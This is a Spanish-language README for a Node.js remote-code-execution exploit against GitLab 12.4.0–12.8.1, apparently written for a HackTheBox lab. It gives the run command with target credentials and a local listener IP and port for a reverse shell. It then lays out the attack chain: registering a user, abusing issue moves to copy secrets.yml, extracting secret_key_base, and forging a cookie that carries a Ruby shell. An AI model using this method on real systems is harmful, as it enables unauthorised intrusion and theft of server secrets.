GitLab v12.4.0-12.8.1 RCE
Basado enteramente en https://github.com/dotPY-hax/gitlab_RCE, que no me funcionó y lo de parsear HTML me parecía engorroso, así que lo reescribí en js.
Uso
Inicia un manejador de reverse shell de la forma habitual y luego ejecuta este script con:
TARGET_URI="https://target" TARGET_EMAIL_DOMAIN="laboratory.htb" \
TARGET_USER="test" TARGET_PASSWORD="Test pass 123" \
LOCAL_IP="10.10.14.142" LOCAL_PORT="44044" \
node gitlab_rce.js
Se puede especificar un proxy con TUNNEL_HOST="127.0.0.1" TUNNEL_PORT="8080".
Burp es especialmente útil para depurar con esto.
Qué hace esto
- comprueba si el objetivo está activo
- si el usuario proporcionado existe, salta al paso 5
- busca un nombre de usuario que no exista ya
- crea ese usuario
- intenta iniciar sesión
- crea dos proyectos vacíos
- crea un nuevo ticket de incidencia con un enlace malicioso en su cuerpo en el primer proyecto
- mueve el nuevo ticket al otro proyecto, haciendo que GitLab reescriba nuestro enlace malicioso y copie el archivo al que apunta en el directorio uploads
- obtiene el archivo objetivo, en este caso queremos el secrets.yml para el secret_key_base
- usa secret_key_base para generar una cookie maliciosa con nuestro shell de Ruby y pasársela a GitLab